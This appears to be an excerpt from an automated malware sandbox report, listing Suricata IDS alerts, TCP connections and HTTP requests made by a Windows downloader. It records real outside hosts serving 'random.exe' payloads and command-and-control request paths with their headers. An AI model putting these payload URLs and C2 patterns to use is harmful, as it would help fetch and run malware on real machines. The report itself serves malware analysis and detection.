Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:52491 -> 176.113.115.7:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50040 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50027 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50000 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50057 -> 104.73.234.102:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:52521 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:52518 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:52525 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:52507 -> 188.114.97.3:443

Source: unknown

HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49783 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 13_2_00701870 HttpAddRequestHeadersA,InternetSetFilePointer,InternetReadFile,HttpQueryInfoA,CoCreateInstance,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,

13_2_00701870

Source: global traffic	HTTP traffic detected: GET /files/martin2/random.exe HTTP/1.1Host: 176.113.115.7
Source: global traffic	HTTP traffic detected: GET /files/qqdoup/random.exe HTTP/1.1Host: 176.113.115.7
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 176.113.115.7
Source: global traffic	HTTP traffic detected: GET /success?substr=mixfour&s=three&sub=non HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 185.156.73.73Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /info HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 185.156.73.73Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /update HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 185.156.73.73Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /service HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.73Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 176.113.115.7
Source: global traffic	HTTP traffic detected: GET /service HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.73Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /service HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.73Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /service HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.73Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 176.113.115.7
Source: global traffic	HTTP traffic detected: GET /service HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.73Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /service HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.73Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /service HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.73Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 176.113.115.7
Source: global traffic	HTTP traffic detected: GET /service HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.73Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /service HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.73Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /service HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.73Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 176.113.115.7
Source: global traffic	HTTP traffic detected: GET /service HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.73Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ycl HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: dHost: 185.156.73.73Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ycl HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: sHost: 185.156.73.73Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveHost: 176.113.115.7
